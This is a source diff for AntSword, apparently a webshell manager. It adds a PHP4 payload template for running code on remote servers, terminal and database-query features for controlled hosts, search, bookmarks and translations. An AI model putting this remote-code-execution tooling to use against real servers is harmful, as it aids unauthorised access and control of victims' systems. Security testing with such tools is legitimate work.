+        }else{
+          echo("RmFsc2U="."\t|\t\r\n");
+        }
       }
       @sqlsrv_close($T);`.replace(/\n\s+/g, ''),
     [arg1]: '#{host}',
@@ -110,6 +118,6 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
     [arg3]: '#{passwd}',
     [arg4]: '#{db}',
     [arg5]: '#{base64::sql}',
-    // [arg6]: '#{encode}'
+    [arg6]: '#{encode}'
   }
 })

source/core/php4/index.js

+/**
+ * PHP4 服务端脚本模板
+ */
+'use strict';
+
+//const Base = require('../base');
+const PHP = require('../php/index');
+
+class PHP4 extends PHP {
+  /**
+   * HTTP请求数据组合函数
+   * @param  {Object} data 通过模板解析后的代码对象
+   * @return {Promise}     返回一个Promise操作对象
+   */
+  complete(data) {
+    // 分隔符号
+
+    let tag_s = Math.random().toString(16).substr(2, 5); // "->|";
+    let tag_e = Math.random().toString(16).substr(2, 5); // "|<-";
+
+    // 组合完整的代码
+    let tmpCode = data['_'];
+    data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
+
+    // 使用编码器进行处理并返回
+    return this.encodeComplete(tag_s, tag_e, data);
+  }
+}
+
+module.exports = PHP4;

source/language/en.js

@@ -28,7 +28,8 @@ module.exports = {
       cut: 'Cut',
       copy: 'Copy',
       paste: 'Paste',
-      selectall: 'SelectAll'
+      selectall: 'SelectAll',
+      search: 'Search'
     },
     window: {
       title: 'Window',
@@ -60,6 +61,7 @@ module.exports = {
       edit: 'Edit',
       delete: 'Delete',
       move: 'Move',
+      copy: 'Copy',
       search: 'Search',
       plugin: 'Plugins',
       pluginDefault: 'Default',
@@ -95,6 +97,7 @@ module.exports = {
     },
     list: {
       title: 'Shell Lists',
+      not_recommended: 'Not recommended',
       grid: {
         url: 'URL',
         ip: 'IP',
@@ -197,8 +200,35 @@ module.exports = {
       path: 'Current Path'
     },
     ascmd: {
-      ashelp: `Usage:\nascmd file\t\tExecute the command with file, eg: ascmd /bin/bash\n`,
+      help: 'Enter ashelp to view local commands',
+      ashelp: `Usage:
+ ascmd [file]\t\tExecute the command with file, eg: ascmd /bin/bash
+ aslistcmd\t\tList available command interpreters
+ aspowershell [on|off]\t\tEnable/Disable PowerShell mode, eg: aspowershell on
+ quit\t\tClose terminal
+ exit\t\tClose terminal
+
+Hot Keys:
+ Ctrl =\t\tIncrease font
+ Ctrl -\t\tDecrease font
+ Ctrl L\t\tClean screen
+ Ctrl U\t\tClear the current line
+ Ctrl A\t\tMove cursor to the beginning of the line
+ Ctrl E\t\tMove cursor to the end of the line
+ Ctrl F/B\t\tForward and backward (equivalent to the left and right direction keys)
+ Ctrl P\t\tPrevious command
+ Ctrl R\t\tSearch command history
+ Ctrl D\t\tDelete the character of the current cursor
+ Ctrl H\t\tDeletes the character before the cursor
+ Ctrl W\t\tDelete the word before the cursor
+ Ctrl K\t\tDelete to the end of the text
+ Ctrl T\t\tExchange text at the cursor
+ `,
       ascmd: (cmd) => antSword.noxss(`Will execute the command with ${cmd}.`),
+      aspowershell: {
+        on: "Powershell mode enabled",
+        off: "Powershell mode disabled",
+      },
     },
   },
   filemanager: {
@@ -346,7 +376,8 @@ module.exports = {
             title: 'Create',
             folder: 'Folder',
             file: 'File'
-          }
+          },
+          terminal: 'Open Terminal Here'
         }
       }
     },
@@ -540,7 +571,8 @@ module.exports = {
       homepage: 'Home',
       document: 'Document',
       qqgroup: 'QQ Group',
-      discord: 'Discord'
+      discord: 'Discord',
+      wechat: 'Fllow us on WeChat'
     },
     language: {
       title: 'Language setting',
@@ -707,6 +739,35 @@ module.exports = {
           window: 'Window',
           tab: 'Tab',
         },
+        bookmark: {
+          title: 'Global Bookmark',
+          nodata: 'No data, click the right mouse button add',
+          grid: {
+            name: 'Name',
+            path: 'Path'
+          },
+          bmenu: {
+            add: 'Add Bookmark',
+            del: 'Del Bookmark'
+          },
+          add: {
+            title: 'Add to global bookmark',
+            success: 'Add success',
+            namedup: 'The name cannot be duplicated',
+            name_invalid: 'Name is invalid',
+            addbtn: 'Confirm'
+          },
+          del: {
+            title: 'Delete Bookmark',
+            confirm: (num) => antSword.noxss(`Are you sure to delete ${typeof(num) === 'number' ? num + ' Bookmarks' : num+" "}？`),
+            success: 'Delete success'
+          },
+          edit: {
+            namedup: 'The name cannot be duplicated',
+            name_invalid: 'Name is invalid',
+            success: 'Edit success'
+          }
+        },
       }
     }
   },

source/language/index.js

@@ -5,7 +5,9 @@
 
 const languages = {
   'en': 'English',
-  'zh': '简体中文'
+  'zh': '简体中文',
+  'zh_hk': '繁體中文(香港)',
+  'zh_tw': '繁體中文(台灣)'
 }
 
 // 获取本地设置语言（如若没有，则获取浏览器语言

source/language/zh.js

@@ -29,7 +29,8 @@ module.exports = {
       cut: '剪切',
       copy: '复制',
       paste: '粘贴',
-      selectall: '全选'
+      selectall: '全选',
+      search: '查找数据'
     },
     window: {
       title: '窗口',
@@ -61,6 +62,7 @@ module.exports = {
       edit: '编辑数据',
       delete: '删除数据',
       move: '移动数据',
+      copy: '创建副本',
       search: '搜索数据',
       plugin: '加载插件',
       pluginDefault: '默认分类',
@@ -96,6 +98,7 @@ module.exports = {
     },
     list: {
       title: '数据管理',
+      not_recommended: '不推荐',
       grid: {
         url: 'URL地址',
         ip: 'IP地址',
@@ -198,8 +201,35 @@ module.exports = {
       path: '当前路径'
     },
     ascmd: {
-      ashelp: `使用帮助:\nascmd file\t\t指定file来执行命令,eg: ascmd /bin/bash\n`,
+      help: '输入 ashelp 查看本地命令',
+      ashelp: `使用帮助:
+ ascmd [file]\t\t指定file来执行命令, eg: ascmd /bin/bash
+ aslistcmd\t\t列出可使用的命令解释器
+ aspowershell [on|off]\t\t启用/关闭PowerShell模式, eg: aspowershell on
+ quit\t\t关闭终端
+ exit\t\t关闭终端
+
+快捷键:
+ Ctrl =\t\t放大字体
+ Ctrl -\t\t缩小字体
+ Ctrl L\t\t清屏
+ Ctrl U\t\t清除当前行
+ Ctrl A\t\t光标到行首
+ Ctrl E\t\t光标到行尾
+ Ctrl F/B\t\t前进后退(相当于左右方向键)
+ Ctrl P\t\t上一条命令
+ Ctrl R\t\t搜索命令历史
+ Ctrl D\t\t删除当前光标的字符
+ Ctrl H\t\t删除光标之前的字符
+ Ctrl W\t\t删除光标之前的单词
+ Ctrl K\t\t删除到文本末尾
+ Ctrl T\t\t交换光标处文本
+`,
       ascmd: (cmd) => antSword.noxss(`将使用 ${cmd} 执行命令.`),
+      aspowershell: {
+        on: "已启用Powershell模式",
+        off: "已关闭Powershell模式",
+      },
     },
   },
   filemanager: {
@@ -347,7 +377,8 @@ module.exports = {
             title: '新建',
             folder: '目录',
             file: '文件'
-          }
+          },
+          terminal: '在此处打开终端'
         }
       }
     },
@@ -541,7 +572,8 @@ module.exports = {
       homepage: '主页',
       document: '文档',
       qqgroup: 'Q群',
-      discord: '在线交流'
+      discord: '在线交流',
+      wechat: '关注微信公众号'
     },
     language: {
       title: '语言设置',
@@ -589,7 +621,7 @@ module.exports = {
         dling: (progress)=> `正在下载更新包...${progress}%`,
         dlingnp: (size)=> `正在下载更新包...${size}`,
         dlend: "下载完毕",
-        extract: "正在解压, 请务关闭程序",
+        extract: "正在解压, 请勿关闭程序",
         ing: '努力更新中。。',
         fail: (err) => `更新失败！【${err}】`,
         success: '更新成功！请稍后手动重启应用！'
@@ -708,6 +740,35 @@ module.exports = {
           window: '窗口打开',
           tab: '标签打开',
         },
+        bookmark: {
+          title: '全局书签',
+          nodata: '当前暂无数据, 请单击鼠标右键添加',
+          grid: {
+            name: '名称',
+            path: '目录'
+          },
+          bmenu: {
+            add: '添加书签',
+            del: '删除书签'
+          },
+          add: {
+            title: '添加全局书签',
+            success: '添加成功',
+            namedup: '名称不能重复',
+            name_invalid: '名称不合法',
+            addbtn: '确定'
+          },
+          del: {
+            title: '删除书签',
+            confirm: (num) => antSword.noxss(`你确定要删除 ${typeof(num) === 'number' ? num + ' 个书签' : num+" "}吗？`),
+            success: '删除成功'
+          },
+          edit: {
+            namedup: '名称不能重复',
+            name_invalid: '名称不合法',
+            success: '更新成功'
+          }
+        },
       }
     }
   },

source/modules/database/asp/index.js

@@ -79,10 +79,21 @@ class ASP {
         // 生成查询SQL语句
         case 'column':
           let _co = arr[1].split(':');
+          const db = Buffer.from(_co[1], 'base64').toString();
           const table = Buffer.from(_co[2], 'base64').toString();
           const column = Buffer.from(_co[3], 'base64').toString();
-
-          const sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
+          let sql = "";
+          switch(this.dbconf['type']){
+            case 'mysql':
+              sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
+              break;
+            case 'oracle':
+              sql = `SELECT "${table}"."${column}" FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
+              break;
+            default:
+              sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`;
+              break;
+          }
           this.manager.query.editor.session.setValue(sql);
           break;
       }
@@ -423,6 +434,9 @@ class ASP {
       })
     ).then((res) => {
       let ret = res['text'];
+      if(ret.indexOf("ERROR://") > -1) {
+        throw ret;
+      }
       const arr = ret.split('\t');
       if (arr.length === 1 && ret === '') {
         toastr.warning(LANG['result']['warning'], LANG_T['warning']);
@@ -466,6 +480,9 @@ class ASP {
       })
     ).then((res) => {
       let ret = res['text'];
+      if(ret.indexOf("ERROR://") > -1) {
+        throw ret;
+      }
       const arr = ret.split('\t');
       const _db = Buffer.from(db).toString('base64');
       // 删除子节点
@@ -499,15 +516,35 @@ class ASP {
       _id: this.manager.opt['_id'],
       id: id
     });
-
+    let sql = "";
+    switch(conf['type']){
+      case "oracle":
+        // sql = `SELECT * FROM ${db}.${table} WHERE ROWNUM=0`;
+        sql = `SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='${db}' AND TABLE_NAME='${table}' ORDER BY COLUMN_ID`;
+        break;
+      case 'sqlserver':
+      case 'sqloledb_1':
+      case 'sqloledb_1_sspi':
+        sql =  `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`;
+        break;
+      case 'mysql':
+        sql = `SELECT * FROM ${table} LIMIT 0,0;`;
+        break;
+      default:
+        sql =  `SELECT TOP 1 * FROM ${table} ORDER BY 1 DESC`;
+        break;
+    }
     this.core.request(
       this.core[`database_${conf['type']}`].show_columns(
       {
         conn: conf['conn'],
-        table: conf['type'] === 'oracle' ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A) WHERE N=1` : `USE [${this.dbconf['database']}];SELECT TOP 0 * FROM ${table}`
+        table: sql
       })
     ).then((res) => {
       let ret = res['text'];
+      if(ret.indexOf("ERROR://") > -1) {
+        throw ret;
+      }
       const arr = ret.split('\t');
       const _db = Buffer.from(db).toString('base64');
       const _table = Buffer.from(table).toString('base64');
@@ -526,11 +563,20 @@ class ASP {
           this.manager.list.imgs[3]
         );
       });
+      let presql = "";
+      switch(this.dbconf['type']){
+        case 'mysql':
+          presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`;
+          break;
+        case 'oracle':
+          presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`;
+          break;
+        default:
+          presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`;
+          break;
+      }
       // 更新编辑器SQL语句
-      this.manager.query.editor.session.setValue(
-        conf['type'] === 'oracle'
-        ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`
-        : `SELECT TOP 20 * FROM ${table} ORDER BY 1 DESC;`);
+      this.manager.query.editor.session.setValue(presql);
       this.manager.list.layout.progressOff();
     }).catch((err) => {
       toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);
@@ -550,6 +596,9 @@ class ASP {
       })
     ).then((res) => {
       let ret = res['text'];
+      if(ret.indexOf("ERROR://") > -1) {
+        throw ret;
+      }
       // 更新执行结果
       this.updateResult(ret);
       this.manager.query.layout.progressOff();

source/modules/database/custom/index.js

@@ -18,7 +18,7 @@ class CUSTOM {
     this.conns = {
       'mysql': 'com.mysql.jdbc.Driver\r\njdbc:mysql://localhost/test?user=root&password=123456',
       'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\r\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456',
-      'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:user/password@127.0.0.1:1521/test',
+      'oracle': 'oracle.jdbc.driver.OracleDriver\r\njdbc:oracle:thin:@127.0.0.1:1521/test\r\nuser\r\npassword',
     };
     // 1. 初始化TREE UI
     this.tree = this.manager.list.layout.attachTree();

source/modules/database/index.js

@@ -218,6 +218,7 @@ class Database {
       'mssql_close': 'MSSQL',
       'sqlsrv_close': 'SQLSRV',
       'ora_close': 'ORACLE',
+      'oci_close': 'ORACLE_OCI8',
       'ifx_close': 'INFORMIX',
       'sqlite_close': 'SQLite',
       'pg_close': 'PostgreSQL',

source/modules/filemanager/files.js

@@ -5,6 +5,7 @@
 const LANG_T = antSword['language']['toastr'];
 const LANG = antSword['language']['filemanager']['files'];
 const clipboard = require('electron').clipboard;
+const Terminal = require('../terminal/');
 
 class Files {
 
@@ -27,13 +28,26 @@ class Files {
         text: LANG['bookmark']['add'],
         enabled: !bookmark[manager.path]
       }];
+      let global_bookmarks = manager.config.bookmarks || {};
+      if(Object.keys(global_bookmarks).length > 0) {
+        bookmark_opts.push({type: 'separator'});
+        for(let gb in global_bookmarks) {
+          bookmark_opts.push({
+            id: 'bookmark_'+ global_bookmarks[gb],
+            text: antSword.noxss(gb),
+            icon: 'bookmark',
+            type: 'button',
+            enabled: manager.path !== global_bookmarks[gb]
+          });
+        }
+      }
       if (!$.isEmptyObject(bookmark)) {
         bookmark_opts.push({ type: 'separator' });
       };
       for (let _ in bookmark) {
         bookmark_opts.push({
           id: 'bookmark_' + _,
-          text: bookmark[_],
+          text: antSword.noxss(bookmark[_]),
           icon: 'bookmark-o',
           type: 'button',
           enabled: manager.path !== _
@@ -359,7 +373,10 @@ class Files {
         { text: LANG['grid']['contextmenu']['create']['title'], icon: 'fa fa-plus-circle', subMenu: [
           { text: LANG['grid']['contextmenu']['create']['folder'], icon: 'fa fa-folder-o', action: manager.createFolder.bind(manager) },
           { text: LANG['grid']['contextmenu']['create']['file'], icon: 'fa fa-file-o', action: manager.createFile.bind(manager) }
-        ] }
+        ] },
+        { text: LANG['grid']['contextmenu']['terminal'], icon: 'fa fa-terminal', action: () => {
+          new Terminal(self.manager.opts, {'path': self.manager.path});
+        }}
       ];
 
       bmenu(menu, event);

source/modules/filemanager/index.js

@@ -41,6 +41,7 @@ class FileManager {
 
     let config = {
       openfileintab: false,
+      bookmarks: {},
     };
     
     this.config = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(config)));

source/modules/settings/about.js

@@ -23,6 +23,10 @@ class About {
           <a href="http://doc.u0u.us"><i class="fa fa-book"></i> ${LANG['document']}</a> /
           <a href="https://discord.gg/Uzh5nUf"><i class="fa fa-comments"></i> ${LANG['discord']}</a>
         </p>
+        <div>
+          <img src="ant-static://imgs/qrcode.jpg" style="width:100px;"/>
+          <p style="color: #795548;transition: all .5s linear;font-size: 14px;">${LANG['wechat']}</p>
+        </div>
       </div>
     `);
 

source/modules/settings/adefault.js

@@ -8,6 +8,7 @@ const LANG_T = antSword['language']['toastr'];
 class ADefault {
 
   constructor(sidebar) {
+    var self = this;
     sidebar.addItem({
       id: 'adefault',
       text: `<i class="fa fa-sliders"></i> ${LANG['title']}`
@@ -16,10 +17,16 @@ class ADefault {
     const default_config = {
       filemanager: {
         openfileintab: false,
+        bookmarks: {},
       },
     };
     // 读取配置
     const filemanager_settings = JSON.parse(antSword['storage']("adefault_filemanager", false, JSON.stringify(default_config.filemanager)));
+    this.filemanager_settings = filemanager_settings;
+    if(!this.filemanager_settings.bookmarks){
+      this.filemanager_settings.bookmarks = default_config.filemanager.bookmarks;
+    }
+
     const toolbar = cell.attachToolbar();
     toolbar.loadStruct([
       { id: 'save', type: 'button', text: LANG['toolbar']['save'], icon: 'save' }
@@ -42,12 +49,96 @@ class ADefault {
               }
             ]},
             // 后续文件管理其它设置
+            { type: 'block', list: [
+              {type: 'label', label: LANG['filemanager']['bookmark']['title']},
+              {type: 'container', name: 'filemanager_bookmarks', inputWidth: 600, inputHeight: 200},
+            ]},
           ]
         }
       ]}, 
       // 后续其它模块
     ], true);
     form.enableLiveValidation(true);
+    let bookmark_grid = new dhtmlXGridObject(form.getContainer('filemanager_bookmarks'));
+    bookmark_grid.setHeader(`
+    &nbsp;,
+    ${LANG['filemanager']['bookmark']['grid']['name']},
+    ${LANG['filemanager']['bookmark']['grid']['path']}
+    `);
+    bookmark_grid.setColTypes("ro,edtxt,edtxt");
+    bookmark_grid.setColSorting('str,str,str');
+    bookmark_grid.setInitWidths("40,*,200");
+    bookmark_grid.setColAlign("center,left,left");
+    bookmark_grid.enableMultiselect(true);
+    // grid右键
+    // 空白数据右键fix
+    $('.objbox').on('contextmenu', (e) => {
+      (e.target.nodeName === 'DIV' && bookmark_grid.callEvent instanceof Function && antSword['tabbar'].getActiveTab() === "tab_about" && sidebar.getActiveItem() === "adefault") ? bookmark_grid.callEvent('onRightClick', [-1, -1, e]) : null;
+    });
+    $('.objbox').on('click', (e) => {
+      bmenu.hide();
+    });
+    bookmark_grid.attachEvent('onRightClick', (id, lid, event)=>{
+      let _ids = (bookmark_grid.getSelectedId()|| '').split(',');
+      if (id === -1) {
+        _ids = [];
+      } else if (_ids.length === 1) {
+        // 如果没有选中？则选中右键对应选项
+        bookmark_grid.selectRowById(id);
+        _ids = [id];
+      };
+      let ids = [];
+      _ids.map((_) => {
+        ids.push(bookmark_grid.getRowAttribute(_, 'bname'));
+      });
+      id = ids[0] || '';
+
+      let menu = [
+        { text: LANG['filemanager']['bookmark']['bmenu']['add'], icon: 'fa fa-plus-circle', action: self.addBookMarks.bind(self)},
+        { text: LANG['filemanager']['bookmark']['bmenu']['del'], icon: 'fa fa-trash-o', action: () => {
+          self.delBookMarks(ids);
+        }},
+      ];
+      bmenu(menu, event);
+      return true;
+    });
+
+    bookmark_grid.attachEvent("onEditCell", function(stage,rId,cInd,nValue,oValue){
+      // 2 编辑完成
+      if(stage === 2) {
+        if(nValue === oValue){return;}
+        var obname = bookmark_grid.getRowAttribute(rId, "bname");
+        var obpath = bookmark_grid.getRowAttribute(rId, "bpath");
+        switch(cInd){ // 具体是哪一列被编辑了
+          case 1: // name
+            // if(!nValue.match(/^[a-zA-Z0-9_/]+$/)){
+            //   toastr.error(LANG["filemanager"]['bookmark']['edit']["name_invalid"], LANG_T['error']);
+            //   return
+            // }
+            if(self.filemanager_settings.bookmarks.hasOwnProperty(obname)){
+              delete self.filemanager_settings.bookmarks[obname];
+              self.filemanager_settings.bookmarks[nValue] = obpath;
+            }
+            toastr.success(LANG["filemanager"]['bookmark']['edit']["success"],LANG_T["success"]);
+            break;
+          case 2: // path
+            nValue = nValue.replace(/\\/g,'/');
+            if(!nValue.endsWith('/')){
+              nValue += '/';
+            }
+            if(self.filemanager_settings.bookmarks.hasOwnProperty(obname)){
+              self.filemanager_settings.bookmarks[obname] = nValue;
+            }
+          break;
+        }
+        antSword['storage']('adefault_filemanager', self.filemanager_settings);
+        self.reloadFMBookmarks();
+      }
+    });
+
+    bookmark_grid.init();
+    this.bookmark_grid = bookmark_grid;
+
     // 保存
     toolbar.attachEvent('onClick', (id) => {
       switch(id){
@@ -56,7 +147,7 @@ class ADefault {
             var _formvals = form.getValues();
             let config = default_config;
             config.filemanager.openfileintab = _formvals['openfileintab'];
-            
+            config.filemanager.bookmarks = self.filemanager_settings.bookmarks;
             // save
             // save 文件管理设置
             antSword['storage']('adefault_filemanager', config.filemanager);
@@ -74,6 +165,100 @@ class ADefault {
         break;
       }
     });
+
+    this.reloadFMBookmarks();
+  }
+  // 重载 bookmarks grid
+  reloadFMBookmarks(){
+    let self = this;
+    let data = [];
+    let _id = 1;
+    Object.keys(self.filemanager_settings.bookmarks).map((t)=>{
+      data.push({
+        id: _id,
+        bname: t,
+        bpath: self.filemanager_settings.bookmarks[t],
+        data: [
+          `<i class="fa fa-bookmark-o"></i>`,
+          antSword.noxss(t),
+          antSword.noxss(self.filemanager_settings.bookmarks[t])
+        ]
+      });
+      _id++;
+    });
+    if(data.length == 0){
+      data.push({
+        id: _id,
+        bname: '',
+        bpath: '',
+        data: [
+          `<i class="fa fa-bookmark-o"></i>`,
+          LANG['filemanager']['bookmark']['nodata'],
+          '&nbsp;'
+        ]
+      });
+    }
+    self.bookmark_grid.clearAll();
+    self.bookmark_grid.parse({
+      'rows': data
+    }, 'json');
+  }
+
+  addBookMarks() {
+    let self = this;
+    let hash = +new Date();
+    let index = layer.prompt({
+      title: `<i class="fa fa-bookmark"></i> ${LANG['filemanager']['bookmark']['add']['title']}`,
+      content: '<input type="text" style="width:300px;" class="layui-layer-input" id="bname_' + hash + '" value="" placeholder="bookmark name"><p/><input style="width:300px;" type="text" id="bpath_' + hash + '" class="layui-layer-input" value="" placeholder="bookmark path">',
+      btn: [LANG['filemanager']['bookmark']['add']['addbtn']],
+      yes: (i) => {
+        let _bname = $(`#bname_${hash}`);
+        let _bpath = $(`#bpath_${hash}`);
+        let bname = _bname.val();
+        let bpath = _bpath.val();
+        let gbm = self.filemanager_settings.bookmarks;
+        if(gbm.hasOwnProperty(bname)) {
+          _bname.focus();
+          return toastr.warning(LANG['filemanager']['bookmark']['add']['namedup'], LANG_T['warning']);
+        }
+        bpath = bpath.replace(/\\/g,'/');
+        if(!bpath.endsWith('/')) {
+          bpath += '/';
+        }
+        gbm[bname] = bpath;
+        self.filemanager_settings.bookmarks = gbm;
+        antSword['storage']('adefault_filemanager', self.filemanager_settings);
+        self.reloadFMBookmarks();
+        toastr.success(LANG['filemanager']['bookmark']['add']['success'], LANG_T['success']);
+        layer.close(i);
+      }
+    });
+  }
+
+  delBookMarks(ids) {
+    let self = this;
+    if(ids.length === 1 && !ids[0]) {
+      return
+    }
+    layer.confirm(
+      LANG['filemanager']['bookmark']['del']['confirm'](ids.length > 1 ? ids.length:ids[0]),
+      {
+        icon: 2,
+        shift: 6,
+        title: `<i class="fa fa-trash"></i> ${LANG['filemanager']['bookmark']['del']['title']}`,
+      },
+      (_) => {
+        layer.close(_);
+        ids.map((p)=>{
+          if(self.filemanager_settings.bookmarks.hasOwnProperty(p)) {
+            delete self.filemanager_settings.bookmarks[p];
+          }
+        });
+        antSword['storage']('adefault_filemanager', self.filemanager_settings);
+        self.reloadFMBookmarks();
+        toastr.success(LANG['filemanager']['bookmark']['del']['success'], LANG_T['success']);
+      }
+    )
   }
 
 }

source/modules/shellmanager/data.js

@@ -26,7 +26,7 @@ module.exports = {
       data.push({
         id: _['_id'],
         data: [
-          _['url'], _['ip'], _['addr'], _['note'],
+          antSword.noxss(_['url']), _['ip'], _['addr'], antSword.noxss(_['note']),
           new Date(_['ctime']).format('yyyy/MM/dd hh:mm:ss'),
           new Date(_['utime']).format('yyyy/MM/dd hh:mm:ss')
         ]

source/modules/shellmanager/index.js

@@ -22,7 +22,20 @@ class ShellManager {
     // 初始化右侧栏：目录
     this.category = new Category(layout.cells('b'), this);
 
+    this.searchPop = null;
+    this.searchForm = null;
+    this.initSearchUI();
+
     this.reloadData();
+    // 注册菜单事件
+    antSword['menubar'].reg('shellmanager-search', () => {
+      antSword.tabbar.tabs("tab_shellmanager").setActive();
+      if(this.searchPop.isVisible()) {
+        this.searchPop.hide();
+      }else{
+        this.searchPop.show(120, document.body.clientHeight, 100, 100);
+      }
+    });
   }
 
   /**
@@ -31,6 +44,25 @@ class ShellManager {
    * @return {[type]}     [description]
    */
   reloadData(arg = {}) {
+    if(this.searchPop.isVisible()) {
+      let sdata = this.searchForm.getValues();
+      var searchObj = {};
+      switch(sdata['searchtype']) {
+        case 'all':
+          searchObj["$or"] = [
+            { "url": { $regex: sdata['searchtext']} },
+            { "pwd": { $regex: sdata['searchtext']} },
+            { "note": { $regex: sdata['searchtext']} },
+          ];
+          break;
+        default:
+          searchObj[sdata['searchtype']] = { $regex: sdata['searchtext']};
+        break;
+      }
+      // 获取当前分类
+      searchObj['category'] = this.category.sidebar.getActiveItem();
+      $.extend(arg, searchObj);
+    }
     const _data = Data.get(arg);
     // 刷新UI::数据
     this.list.grid.clearAll();
@@ -48,7 +80,7 @@ class ShellManager {
       this.category['sidebar'].addItem({
         id: _,
         bubble: _data['category'][_],
-        text: `<i class="fa fa-folder-o"></i> ${_}`
+        text: `<i class="fa fa-folder-o"></i> ${antSword.noxss(_)}`
       });
     }
     // 加载分类数据
@@ -59,6 +91,45 @@ class ShellManager {
     this.category.updateHeader();
     this.list.updateHeader(_data['data'].length);
   }
+
+  initSearchUI() {
+    let that = this;
+    let searchPop = new dhtmlXPopup();
+    let formData = [
+      {type: "settings", position: "label-left", labelWidth: 80, inputWidth: 130},
+        {type: "combo", name: 'searchtype', options: [
+          {text: "All", value: "all", selected: true},
+          {text: "URL", value: "url" },
+          {text: "Password", value: "pwd" },
+          {text: "Remark", value: "note" },
+        ]},
+        {type: 'newcolumn', offset:20},
+        {type: "input", name: "searchtext"},
+    ];
+    searchPop.attachEvent("onShow", function(){
+      if (that.searchForm == null) {
+        that.searchForm = searchPop.attachForm(formData);
+        // that.searchForm.attachEvent("onButtonClick", function(){
+        //   searchPop.hide();
+        // });
+        that.searchForm.attachEvent("onInputChange", (name, value, form) => {
+          if(name == "searchtext") {
+            that.reloadData({});
+          }
+        });
+      }
+      // 去掉 popup 的角
+      var poparrows = document.getElementsByClassName('dhx_popup_arrow dhx_popup_arrow_top');
+      if (poparrows.length > 0 && poparrows[0].style.display != "none") {
+        poparrows[0].style.display="none";
+      }
+      that.searchForm.setItemFocus("searchtext");
+    });
+    // searchPop.attachEvent("onBeforeHide", function(type, ev, id){
+    //   return false;
+    // });
+    that.searchPop = searchPop;
+  }
 }
 
 module.exports = ShellManager;

source/modules/shellmanager/list/contextmenu.js

@@ -50,7 +50,8 @@ class ContextMenu {
       ['delete', 'remove', selectedMultiData, this.delData.bind(this, ids)],
       false,
       ['move', 'share-square', selectedMultiData, null, this.parseMoveCategoryMenu(ids)],
-      ['search', 'search', true],
+      ['copy', 'copy', selectedData, this.copyData.bind(this, data[0])],
+      ['search', 'search', false, this.searchData.bind(this, event)],
       false,
       ['clearCache', 'trash-o', selectedData, this.clearCache.bind(this, id)],
       ['clearAllCache', 'trash', false, this.clearAllCache.bind(this)]
@@ -265,12 +266,43 @@ class ContextMenu {
     });
   }
 
+  /**
+   * 创建副本
+   * @param  {Object} info 当前选中的数据
+   * @return {[type]}    [description]
+   */
+  copyData(info) {
+    let data = {
+      base: {
+        category: info['category'],
+        url: info['url'],
+        pwd: info['pwd'],
+        note: info['note'],
+        type: info['type'],
+        encode: info['encode'],
+        encoder: info['encoder']
+      },
+      http: info['httpConf'] || {},
+      other: info['otherConf'] || {},
+    }
+    const ret = antSword.ipcRenderer.sendSync('shell-add', data);
+    if (ret instanceof Object) {
+      // 重新加载数据
+      antSword.modules.shellmanager.reloadData({
+        category: data['base']['category']
+      });
+      toastr.success(LANG['list']['add']['success']);
+    } else {
+      toastr.error(LANG['list']['add']['error'](ret.toString()), LANG_T['error']);
+    }
+  }
+
   /**
    * 搜索数据
    * @return {[type]} [description]
    */
-  searchData() {
-
+  searchData(event) {
+    antSword.modules.shellmanager.searchPop.show(120, document.body.clientHeight, 100, 100);
   }
 
   /**

source/modules/shellmanager/list/form.js

@@ -287,20 +287,28 @@ class Form {
     let ret = [];
     for (let c in antSword['core']) {
       // 加载默认编码器和用户自定义编码器
-      let encoders = antSword['core'][c].prototype.encoders.concat(antSword['encoders'][c]);
+      let encoders;
+      switch(c){
+        case 'php4':
+          encoders = antSword['core']['php4'].prototype.encoders.concat(antSword['encoders']['php']);
+        break;
+        default:
+          encoders = antSword['core'][c].prototype.encoders.concat(antSword['encoders'][c]);
+        break;
+      }
       ret.push({
         text: c.toUpperCase(), value: c,
         selected: c === _default,
         list: ((c) => {
           let _ = [
-            { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 },
+            { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 200 },
             { type: 'label', label: LANG['list']['add']['form']['encoder'] },
-            { type: 'radio', name: `encoder_${c}`, value: 'default', label: 'default', checked: true }
+            { type: 'radio', name: `encoder_${c}`, value: 'default', label: `default\t(${LANG['list']['not_recommended']})`, checked: true }
           ];
           if (c !== 'custom') {
             _.push({
               type: 'radio', name: `encoder_${c}`, value: 'random',
-              label: 'random', checked: _encoder === 'random'
+              label: `random\t(${LANG['list']['not_recommended']})`, checked: _encoder === 'random'
             });
           }
           encoders.map((e) => {

source/modules/terminal/index.js

@@ -8,7 +8,7 @@ const LANG_T = antSword['language']['toastr'];
 
 class Terminal {
 
-  constructor(opts) {
+  constructor(opts, options={}) {
     // 生存一个随机ID，用于标识多个窗口dom
     const hash = String(Math.random()).substr(2, 10);
 
@@ -34,11 +34,14 @@ class Terminal {
 
     this.path = '';
     this.opts = opts;
+    this.options = options || {};
     this.hash = hash;
     this.term = null;
     this.cell = cell;
     this.isWin = true;
+    this.isPowershell = false;
     this.sessbin = null;
+    this.sess_powershell = null;
     this.core = new antSword['core'][opts['type']](opts);
     this.cache = new antSword['CacheManager'](this.opts['_id']);
 
@@ -46,6 +49,12 @@ class Terminal {
       .getInformation()
       .then((ret) => {
